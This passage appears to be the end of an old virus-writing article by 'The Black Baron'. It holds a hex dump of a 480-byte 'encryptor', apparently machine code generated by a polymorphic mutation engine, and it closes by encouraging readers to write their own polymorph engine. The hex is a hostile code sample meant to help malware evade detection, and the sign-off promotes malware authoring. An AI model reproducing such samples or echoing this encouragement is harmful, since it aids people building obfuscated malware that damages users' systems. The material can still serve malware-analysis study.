HEX DUMP OF ENCRYPTOR 2, 480 bytes F7D6846B0F47FC81D72A137A0481CF2E 334684C5E909007A0481FA0919D3DFC3 4785FDE90D00F7C7240EF7C73A0923FC 383AC3C7C5280C84F5F7C5161CD3CD74 04843703FC848C3534C7C5082E85CFFC C7C6313881E53E36D3CFF87906D1FE81 DF083381DF2B36B8DB0781E71E0FE911 00C7C7312F81F9122281DE142E849C1D 34C380FF19BB77B984852C07F7C70623 D1EE8CCAE8DAFFF7C61014F8D3E78EDA F7DEE8CCFF84AB0F07B28DC7C7303AE9 0700760147F7D7F5C333CAE8F4FFF7C6 29304781DF191EC7C73800D3DFC7C509 18F69F6949F7C5372A81F9372BE90200 4FC38A8F6949F5D3CF45F7C71E287403 847905C7C70C162BED33CA845B3C7304 81C5130A3809E8D7FFE8D4FF4F81E73A 074881F73620F7DD13FCF53A184A81D5

4D81D6320E81E72215387A36D1C6C3D1 E7D1EF4A7509840B81D52D01E91C0045 730481FB2E0E85FE81DE3332B98A01D1 C72BFBD1EF84992E1C51C3C7C61F213A 1981ED332DC7C5353733F68B2E380A47 2118D3E781F81618D1E73A431AC7C619 1881C63B064A81ED280081E53019FC81 D51D2DD3FF87CA85CA8BF181F60D0381 EF1C318697694981C7130E3A5B33FCF7 D6C7C61C3F87CAC7C61A2281CD2C0DC7 C71B2381C30100E90E0013E8845D19F7 C72103F7DFD3C6C381DD0D1B81F5232A 80FA3A843D23C07514E8DEFF81E71F29 7704C7C7140581D62A1FE90F00E90200 F8C3D3E7FC81C61A2CE9FFFE84FBC7C7 0C2181EE0016E8E7FF81F61D2FC7C530 0484BD2A3681CF211CF981FF2828F84D

Well, I hope this brief insight into the workings of a Polymorph Engine have enlightened and possibly inspired you into having a go at writing one yourself?

(C) The Black Baron